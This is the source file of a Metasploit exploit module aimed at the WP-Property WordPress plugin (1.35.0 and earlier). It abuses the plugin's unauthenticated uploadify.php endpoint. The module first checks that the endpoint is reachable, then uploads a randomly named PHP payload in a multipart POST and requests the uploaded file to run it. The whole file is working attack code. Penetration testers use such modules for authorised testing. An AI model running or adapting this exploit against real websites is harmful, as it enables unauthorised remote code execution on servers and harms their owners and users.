metasploit-framework/modules/exploits/unix/webapp/wp_property_upload_exec.rb

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require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
'Description' => %q{
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This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
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},
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'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts' # metasploit module
],
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'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82656' ],
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[ 'BID', '53787' ],
[ 'EDB', '18987'],
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
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],
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'Payload' =>
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{
'BadChars' => "\x00",
},
'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 26 2012'))
register_options(
[
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OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
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], self.class)
end
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def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears
end
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def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
@payload_name = "#{rand_text_alpha(5)}.php"
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php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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print_status("#{peer} - Uploading payload #{@payload_name}")
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res = send_request_cgi({
'method' => 'POST',
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'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
})
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if not res or res.code != 200 or res.body !~ /#{@payload_name}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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upload_uri = res.body
print_status("#{peer} - Executing payload #{@payload_name}")
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res = send_request_raw({
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'uri' => upload_uri,
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'method' => 'GET'
})
end
end